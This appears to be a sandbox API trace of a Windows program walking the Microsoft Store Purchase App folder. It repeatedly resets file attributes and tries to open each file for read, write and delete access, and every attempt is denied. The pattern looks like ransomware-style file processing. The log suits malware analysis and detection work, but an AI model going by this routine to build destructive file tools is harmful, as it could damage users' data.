	[0091.227] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.StorePurchaseApp_1.0.45.0_x64__8wekyb3d8bbwe\\Assets\\Square150x150Logo.scale-200.png", dwFileAttributes=0x20) returned 0
	[0091.227] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.StorePurchaseApp_1.0.45.0_x64__8wekyb3d8bbwe\\Assets\\Square150x150Logo.scale-200.png" (normalized: "c:\\program files\\windowsapps\\microsoft.storepurchaseapp_1.0.45.0_x64__8wekyb3d8bbwe\\assets\\square150x150logo.scale-200.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0091.227] GetLastError () returned 0x5
	[0091.227] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.StorePurchaseApp_1.0.45.0_x64__8wekyb3d8bbwe\\Assets\\Square150x150Logo.scale-200.png", dwFileAttributes=0x20) returned 0
	[0091.227] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4776c60) returned 1
	[0091.227] FindNextFileW (in: hFindFile=0x477b1a8, lpFindFileData=0x502e158 | out: lpFindFileData=0x502e158*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1382b632, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x1385188b, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x1385188b, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x264, dwReserved0=0x0, dwReserved1=0x0, cFileName="Square44x44Logo.scale-200.png", cAlternateFileName="")) returned 1
	[0091.227] wcscmp (_String1="Square44x44Logo.scale-200.png", _String2=".") returned 1
	[0091.227] wcscmp (_String1="Square44x44Logo.scale-200.png", _String2="..") returned 1
	[0091.227] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xf2) returned 0x4776e60
	[0091.227] wcscpy (in: _Dest=0x4776e60, _Source="C:\\Program Files\\WindowsApps\\Microsoft.StorePurchaseApp_1.0.45.0_x64__8wekyb3d8bbwe\\Assets" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.StorePurchaseApp_1.0.45.0_x64__8wekyb3d8bbwe\\Assets") returned="C:\\Program Files\\WindowsApps\\Microsoft.StorePurchaseApp_1.0.45.0_x64__8wekyb3d8bbwe\\Assets"
	[0091.227] wcscat (in: _Dest=0x4776e60, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.StorePurchaseApp_1.0.45.0_x64__8wekyb3d8bbwe\\Assets\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.StorePurchaseApp_1.0.45.0_x64__8wekyb3d8bbwe\\Assets\\"
	[0091.227] wcscat (in: _Dest=0x4776e60, _Source="Square44x44Logo.scale-200.png" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.StorePurchaseApp_1.0.45.0_x64__8wekyb3d8bbwe\\Assets\\Square44x44Logo.scale-200.png") returned="C:\\Program Files\\WindowsApps\\Microsoft.StorePurchaseApp_1.0.45.0_x64__8wekyb3d8bbwe\\Assets\\Square44x44Logo.scale-200.png"
	[0091.227] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.StorePurchaseApp_1.0.45.0_x64__8wekyb3d8bbwe\\Assets\\Square44x44Logo.scale-200.png" (normalized: "c:\\program files\\windowsapps\\microsoft.storepurchaseapp_1.0.45.0_x64__8wekyb3d8bbwe\\assets\\square44x44logo.scale-200.png")) returned 0x20
	[0091.233] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.StorePurchaseApp_1.0.45.0_x64__8wekyb3d8bbwe\\Assets\\Square44x44Logo.scale-200.png", dwFileAttributes=0x20) returned 0
	[0091.233] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.StorePurchaseApp_1.0.45.0_x64__8wekyb3d8bbwe\\Assets\\Square44x44Logo.scale-200.png" (normalized: "c:\\program files\\windowsapps\\microsoft.storepurchaseapp_1.0.45.0_x64__8wekyb3d8bbwe\\assets\\square44x44logo.scale-200.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0091.234] GetLastError () returned 0x5
	[0091.234] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.StorePurchaseApp_1.0.45.0_x64__8wekyb3d8bbwe\\Assets\\Square44x44Logo.scale-200.png", dwFileAttributes=0x20) returned 0
	[0091.234] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4776e60) returned 1
	[0091.234] FindNextFileW (in: hFindFile=0x477b1a8, lpFindFileData=0x502e158 | out: lpFindFileData=0x502e158*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1385188b, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x1385188b, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x1385188b, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0xec, dwReserved0=0x0, dwReserved1=0x0, cFileName="Square44x44Logo.targetsize-24_altform-unplated.png", cAlternateFileName="")) returned 1
	[0091.234] wcscmp (_String1="Square44x44Logo.targetsize-24_altform-unplated.png", _String2=".") returned 1
	[0091.234] wcscmp (_String1="Square44x44Logo.targetsize-24_altform-unplated.png", _String2="..") returned 1
	[0091.234] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x11c) returned 0x2e45250
	[0091.234] wcscpy (in: _Dest=0x2e45250, _Source="C:\\Program Files\\WindowsApps\\Microsoft.StorePurchaseApp_1.0.45.0_x64__8wekyb3d8bbwe\\Assets" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.StorePurchaseApp_1.0.45.0_x64__8wekyb3d8bbwe\\Assets") returned="C:\\Program Files\\WindowsApps\\Microsoft.StorePurchaseApp_1.0.45.0_x64__8wekyb3d8bbwe\\Assets"
	[0091.234] wcscat (in: _Dest=0x2e45250, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.StorePurchaseApp_1.0.45.0_x64__8wekyb3d8bbwe\\Assets\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.StorePurchaseApp_1.0.45.0_x64__8wekyb3d8bbwe\\Assets\\"
	[0091.234] wcscat (in: _Dest=0x2e45250, _Source="Square44x44Logo.targetsize-24_altform-unplated.png" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.StorePurchaseApp_1.0.45.0_x64__8wekyb3d8bbwe\\Assets\\Square44x44Logo.targetsize-24_altform-unplated.png") returned="C:\\Program Files\\WindowsApps\\Microsoft.StorePurchaseApp_1.0.45.0_x64__8wekyb3d8bbwe\\Assets\\Square44x44Logo.targetsize-24_altform-unplated.png"
	[0091.234] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.StorePurchaseApp_1.0.45.0_x64__8wekyb3d8bbwe\\Assets\\Square44x44Logo.targetsize-24_altform-unplated.png" (normalized: "c:\\program files\\windowsapps\\microsoft.storepurchaseapp_1.0.45.0_x64__8wekyb3d8bbwe\\assets\\square44x44logo.targetsize-24_altform-unplated.png")) returned 0x20
	[0091.236] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.StorePurchaseApp_1.0.45.0_x64__8wekyb3d8bbwe\\Assets\\Square44x44Logo.targetsize-24_altform-unplated.png", dwFileAttributes=0x20) returned 0
	[0091.236] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.StorePurchaseApp_1.0.45.0_x64__8wekyb3d8bbwe\\Assets\\Square44x44Logo.targetsize-24_altform-unplated.png" (normalized: "c:\\program files\\windowsapps\\microsoft.storepurchaseapp_1.0.45.0_x64__8wekyb3d8bbwe\\assets\\square44x44logo.targetsize-24_altform-unplated.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0091.236] GetLastError () returned 0x5
	[0091.236] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.StorePurchaseApp_1.0.45.0_x64__8wekyb3d8bbwe\\Assets\\Square44x44Logo.targetsize-24_altform-unplated.png", dwFileAttributes=0x20) returned 0
	[0091.236] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e45250) returned 1
	[0091.236] FindNextFileW (in: hFindFile=0x477b1a8, lpFindFileData=0x502e158 | out: lpFindFileData=0x502e158*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1385188b, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x1385188b, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x1385188b, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x202, dwReserved0=0x0, dwReserved1=0x0, cFileName="StoreLogo.png", cAlternateFileName="")) returned 1
	[0091.236] wcscmp (_String1="StoreLogo.png", _String2=".") returned 1
	[0091.236] wcscmp (_String1="StoreLogo.png", _String2="..") returned 1
	[0091.236] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xd2) returned 0x477eb90
	[0091.236] wcscpy (in: _Dest=0x477eb90, _Source="C:\\Program Files\\WindowsApps\\Microsoft.StorePurchaseApp_1.0.45.0_x64__8wekyb3d8bbwe\\Assets" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.StorePurchaseApp_1.0.45.0_x64__8wekyb3d8bbwe\\Assets") returned="C:\\Program Files\\WindowsApps\\Microsoft.StorePurchaseApp_1.0.45.0_x64__8wekyb3d8bbwe\\Assets"
	[0091.236] wcscat (in: _Dest=0x477eb90, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.StorePurchaseApp_1.0.45.0_x64__8wekyb3d8bbwe\\Assets\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.StorePurchaseApp_1.0.45.0_x64__8wekyb3d8bbwe\\Assets\\"
	[0091.236] wcscat (in: _Dest=0x477eb90, _Source="StoreLogo.png" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.StorePurchaseApp_1.0.45.0_x64__8wekyb3d8bbwe\\Assets\\StoreLogo.png") returned="C:\\Program Files\\WindowsApps\\Microsoft.StorePurchaseApp_1.0.45.0_x64__8wekyb3d8bbwe\\Assets\\StoreLogo.png"
	[0091.236] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.StorePurchaseApp_1.0.45.0_x64__8wekyb3d8bbwe\\Assets\\StoreLogo.png" (normalized: "c:\\program files\\windowsapps\\microsoft.storepurchaseapp_1.0.45.0_x64__8wekyb3d8bbwe\\assets\\storelogo.png")) returned 0x20
	[0091.239] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.StorePurchaseApp_1.0.45.0_x64__8wekyb3d8bbwe\\Assets\\StoreLogo.png", dwFileAttributes=0x20) returned 0
	[0091.240] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.StorePurchaseApp_1.0.45.0_x64__8wekyb3d8bbwe\\Assets\\StoreLogo.png" (normalized: "c:\\program files\\windowsapps\\microsoft.storepurchaseapp_1.0.45.0_x64__8wekyb3d8bbwe\\assets\\storelogo.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0091.240] GetLastError () returned 0x5
	[0091.240] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.StorePurchaseApp_1.0.45.0_x64__8wekyb3d8bbwe\\Assets\\StoreLogo.png", dwFileAttributes=0x20) returned 0
	[0091.240] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x477eb90) returned 1
	[0091.240] FindNextFileW (in: hFindFile=0x477b1a8, lpFindFileData=0x502e158 | out: lpFindFileData=0x502e158*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1385188b, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x1385188b, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x1385188b, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x64c, dwReserved0=0x0, dwReserved1=0x0, cFileName="Wide310x150Logo.scale-200.png", cAlternateFileName="")) returned 1
	[0091.240] wcscmp (_String1="Wide310x150Logo.scale-200.png", _String2=".") returned 1
	[0091.240] wcscmp (_String1="Wide310x150Logo.scale-200.png", _String2="..") returned 1
	[0091.240] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xf2) returned 0x4778160
	[0091.240] wcscpy (in: _Dest=0x4778160, _Source="C:\\Program Files\\WindowsApps\\Microsoft.StorePurchaseApp_1.0.45.0_x64__8wekyb3d8bbwe\\Assets" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.StorePurchaseApp_1.0.45.0_x64__8wekyb3d8bbwe\\Assets") returned="C:\\Program Files\\WindowsApps\\Microsoft.StorePurchaseApp_1.0.45.0_x64__8wekyb3d8bbwe\\Assets"
	[0091.240] wcscat (in: _Dest=0x4778160, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.StorePurchaseApp_1.0.45.0_x64__8wekyb3d8bbwe\\Assets\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.StorePurchaseApp_1.0.45.0_x64__8wekyb3d8bbwe\\Assets\\"
	[0091.240] wcscat (in: _Dest=0x4778160, _Source="Wide310x150Logo.scale-200.png" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.StorePurchaseApp_1.0.45.0_x64__8wekyb3d8bbwe\\Assets\\Wide310x150Logo.scale-200.png") returned="C:\\Program Files\\WindowsApps\\Microsoft.StorePurchaseApp_1.0.45.0_x64__8wekyb3d8bbwe\\Assets\\Wide310x150Logo.scale-200.png"
	[0091.240] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.StorePurchaseApp_1.0.45.0_x64__8wekyb3d8bbwe\\Assets\\Wide310x150Logo.scale-200.png" (normalized: "c:\\program files\\windowsapps\\microsoft.storepurchaseapp_1.0.45.0_x64__8wekyb3d8bbwe\\assets\\wide310x150logo.scale-200.png")) returned 0x20
	[0091.242] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.StorePurchaseApp_1.0.45.0_x64__8wekyb3d8bbwe\\Assets\\Wide310x150Logo.scale-200.png", dwFileAttributes=0x20) returned 0
	[0091.242] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.StorePurchaseApp_1.0.45.0_x64__8wekyb3d8bbwe\\Assets\\Wide310x150Logo.scale-200.png" (normalized: "c:\\program files\\windowsapps\\microsoft.storepurchaseapp_1.0.45.0_x64__8wekyb3d8bbwe\\assets\\wide310x150logo.scale-200.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0091.242] GetLastError () returned 0x5
	[0091.242] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.StorePurchaseApp_1.0.45.0_x64__8wekyb3d8bbwe\\Assets\\Wide310x150Logo.scale-200.png", dwFileAttributes=0x20) returned 0
	[0091.242] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4778160) returned 1
	[0091.242] FindNextFileW (in: hFindFile=0x477b1a8, lpFindFileData=0x502e158 | out: lpFindFileData=0x502e158*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1385188b, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x1385188b, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x1385188b, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x64c, dwReserved0=0x0, dwReserved1=0x0, cFileName="Wide310x150Logo.scale-200.png", cAlternateFileName="")) returned 0
	[0091.242] FindClose (in: hFindFile=0x477b1a8 | out: hFindFile=0x477b1a8) returned 1
	[0091.243] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x502e158) returned 1
	[0091.243] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4926008) returned 1
	[0091.243] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4f2c120) returned 1
	[0091.243] FindNextFileW (in: hFindFile=0x46a7150, lpFindFileData=0x47130e0 | out: lpFindFileData=0x47130e0*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xdfec7dad, ftCreationTime.dwHighDateTime=0x1d32741, ftLastAccessTime.dwLowDateTime=0xdfec7dad, ftLastAccessTime.dwHighDateTime=0x1d32741, ftLastWriteTime.dwLowDateTime=0xdfec7dad, ftLastWriteTime.dwHighDateTime=0x1d32741, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="microsoft.system.package.metadata", cAlternateFileName="MICROS~1.MET")) returned 1
	[0091.243] wcscmp (_String1="microsoft.system.package.metadata", _String2=".") returned 1
	[0091.243] wcscmp (_String1="microsoft.system.package.metadata", _String2="..") returned 1
	[0091.243] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xec) returned 0x491bb20
	[0091.243] wcscpy (in: _Dest=0x491bb20, _Source="C:\\Program Files\\WindowsApps\\Microsoft.StorePurchaseApp_1.0.45.0_x64__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.StorePurchaseApp_1.0.45.0_x64__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.StorePurchaseApp_1.0.45.0_x64__8wekyb3d8bbwe"
	[0091.243] wcscat (in: _Dest=0x491bb20, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.StorePurchaseApp_1.0.45.0_x64__8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.StorePurchaseApp_1.0.45.0_x64__8wekyb3d8bbwe\\"
	[0091.243] wcscat (in: _Dest=0x491bb20, _Source="microsoft.system.package.metadata" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.StorePurchaseApp_1.0.45.0_x64__8wekyb3d8bbwe\\microsoft.system.package.metadata") returned="C:\\Program Files\\WindowsApps\\Microsoft.StorePurchaseApp_1.0.45.0_x64__8wekyb3d8bbwe\\microsoft.system.package.metadata"
	[0091.243] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xf0) returned 0x491cc90
	[0091.244] wcscpy (in: _Dest=0x491cc90, _Source="C:\\Program Files\\WindowsApps\\Microsoft.StorePurchaseApp_1.0.45.0_x64__8wekyb3d8bbwe\\microsoft.system.package.metadata" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.StorePurchaseApp_1.0.45.0_x64__8wekyb3d8bbwe\\microsoft.system.package.metadata") returned="C:\\Program Files\\WindowsApps\\Microsoft.StorePurchaseApp_1.0.45.0_x64__8wekyb3d8bbwe\\microsoft.system.package.metadata"
	[0091.244] wcscat (in: _Dest=0x491cc90, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.StorePurchaseApp_1.0.45.0_x64__8wekyb3d8bbwe\\microsoft.system.package.metadata\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.StorePurchaseApp_1.0.45.0_x64__8wekyb3d8bbwe\\microsoft.system.package.metadata\\"
	[0091.244] wcscat (in: _Dest=0x491cc90, _Source="*" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.StorePurchaseApp_1.0.45.0_x64__8wekyb3d8bbwe\\microsoft.system.package.metadata\\*") returned="C:\\Program Files\\WindowsApps\\Microsoft.StorePurchaseApp_1.0.45.0_x64__8wekyb3d8bbwe\\microsoft.system.package.metadata\\*"
	[0091.244] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x502e158
	[0091.244] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.StorePurchaseApp_1.0.45.0_x64__8wekyb3d8bbwe\\microsoft.system.package.metadata\\*", lpFindFileData=0x502e158 | out: lpFindFileData=0x502e158*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xdfec7dad, ftCreationTime.dwHighDateTime=0x1d32741, ftLastAccessTime.dwLowDateTime=0xdfec7dad, ftLastAccessTime.dwHighDateTime=0x1d32741, ftLastWriteTime.dwLowDateTime=0xdfec7dad, ftLastWriteTime.dwHighDateTime=0x1d32741, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x477b668
	[0091.244] wcscmp (_String1=".", _String2=".") returned 0
	[0091.244] FindNextFileW (in: hFindFile=0x477b668, lpFindFileData=0x502e158 | out: lpFindFileData=0x502e158*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xdfec7dad, ftCreationTime.dwHighDateTime=0x1d32741, ftLastAccessTime.dwLowDateTime=0xdfec7dad, ftLastAccessTime.dwHighDateTime=0x1d32741, ftLastWriteTime.dwLowDateTime=0xdfec7dad, ftLastWriteTime.dwHighDateTime=0x1d32741, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0091.244] wcscmp (_String1="..", _String2=".") returned 1
	[0091.244] wcscmp (_String1="..", _String2="..") returned 0
	[0091.244] FindNextFileW (in: hFindFile=0x477b668, lpFindFileData=0x502e158 | out: lpFindFileData=0x502e158*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xdfec7dad, ftCreationTime.dwHighDateTime=0x1d32741, ftLastAccessTime.dwLowDateTime=0xdfec7dad, ftLastAccessTime.dwHighDateTime=0x1d32741, ftLastWriteTime.dwLowDateTime=0xdfec7dad, ftLastWriteTime.dwHighDateTime=0x1d32741, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0
	[0091.244] FindClose (in: hFindFile=0x477b668 | out: hFindFile=0x477b668) returned 1
	[0091.244] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x502e158) returned 1
	[0091.244] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x491cc90) returned 1
	[0091.244] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x491bb20) returned 1
	[0091.244] FindNextFileW (in: hFindFile=0x46a7150, lpFindFileData=0x47130e0 | out: lpFindFileData=0x47130e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1385188b, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x1389dd42, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x1389dd42, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0xbb600, dwReserved0=0x0, dwReserved1=0x0, cFileName="PurchaseApp.exe", cAlternateFileName="")) returned 1
	[0091.244] wcscmp (_String1="PurchaseApp.exe", _String2=".") returned 1
	[0091.244] wcscmp (_String1="PurchaseApp.exe", _String2="..") returned 1
	[0091.244] FindNextFileW (in: hFindFile=0x46a7150, lpFindFileData=0x47130e0 | out: lpFindFileData=0x47130e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1389dd42, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x1389dd42, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x1389dd42, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x1400, dwReserved0=0x0, dwReserved1=0x0, cFileName="PurchaseApp.winmd", cAlternateFileName="")) returned 1
	[0091.244] wcscmp (_String1="PurchaseApp.winmd", _String2=".") returned 1
	[0091.244] wcscmp (_String1="PurchaseApp.winmd", _String2="..") returned 1
	[0091.244] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xcc) returned 0x2e12e18
	[0091.244] wcscpy (in: _Dest=0x2e12e18, _Source="C:\\Program Files\\WindowsApps\\Microsoft.StorePurchaseApp_1.0.45.0_x64__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.StorePurchaseApp_1.0.45.0_x64__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.StorePurchaseApp_1.0.45.0_x64__8wekyb3d8bbwe"
	[0091.244] wcscat (in: _Dest=0x2e12e18, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.StorePurchaseApp_1.0.45.0_x64__8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.StorePurchaseApp_1.0.45.0_x64__8wekyb3d8bbwe\\"
	[0091.244] wcscat (in: _Dest=0x2e12e18, _Source="PurchaseApp.winmd" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.StorePurchaseApp_1.0.45.0_x64__8wekyb3d8bbwe\\PurchaseApp.winmd") returned="C:\\Program Files\\WindowsApps\\Microsoft.StorePurchaseApp_1.0.45.0_x64__8wekyb3d8bbwe\\PurchaseApp.winmd"
	[0091.245] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.StorePurchaseApp_1.0.45.0_x64__8wekyb3d8bbwe\\PurchaseApp.winmd" (normalized: "c:\\program files\\windowsapps\\microsoft.storepurchaseapp_1.0.45.0_x64__8wekyb3d8bbwe\\purchaseapp.winmd")) returned 0x20
	[0091.245] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.StorePurchaseApp_1.0.45.0_x64__8wekyb3d8bbwe\\PurchaseApp.winmd", dwFileAttributes=0x20) returned 0
	[0091.246] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.StorePurchaseApp_1.0.45.0_x64__8wekyb3d8bbwe\\PurchaseApp.winmd" (normalized: "c:\\program files\\windowsapps\\microsoft.storepurchaseapp_1.0.45.0_x64__8wekyb3d8bbwe\\purchaseapp.winmd"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0091.246] GetLastError () returned 0x5
	[0091.246] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.StorePurchaseApp_1.0.45.0_x64__8wekyb3d8bbwe\\PurchaseApp.winmd", dwFileAttributes=0x20) returned 0
	[0091.246] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e12e18) returned 1
	[0091.246] FindNextFileW (in: hFindFile=0x46a7150, lpFindFileData=0x47130e0 | out: lpFindFileData=0x47130e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1389dd42, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x138c3f9c, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x138c3f9c, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x1430, dwReserved0=0x0, dwReserved1=0x0, cFileName="resources.pri", cAlternateFileName="")) returned 1
	[0091.246] wcscmp (_String1="resources.pri", _String2=".") returned 1
	[0091.246] wcscmp (_String1="resources.pri", _String2="..") returned 1
	[0091.246] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc4) returned 0x4718690
	[0091.246] wcscpy (in: _Dest=0x4718690, _Source="C:\\Program Files\\WindowsApps\\Microsoft.StorePurchaseApp_1.0.45.0_x64__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.StorePurchaseApp_1.0.45.0_x64__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.StorePurchaseApp_1.0.45.0_x64__8wekyb3d8bbwe"
	[0091.246] wcscat (in: _Dest=0x4718690, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.StorePurchaseApp_1.0.45.0_x64__8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.StorePurchaseApp_1.0.45.0_x64__8wekyb3d8bbwe\\"
	[0091.246] wcscat (in: _Dest=0x4718690, _Source="resources.pri" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.StorePurchaseApp_1.0.45.0_x64__8wekyb3d8bbwe\\resources.pri") returned="C:\\Program Files\\WindowsApps\\Microsoft.StorePurchaseApp_1.0.45.0_x64__8wekyb3d8bbwe\\resources.pri"
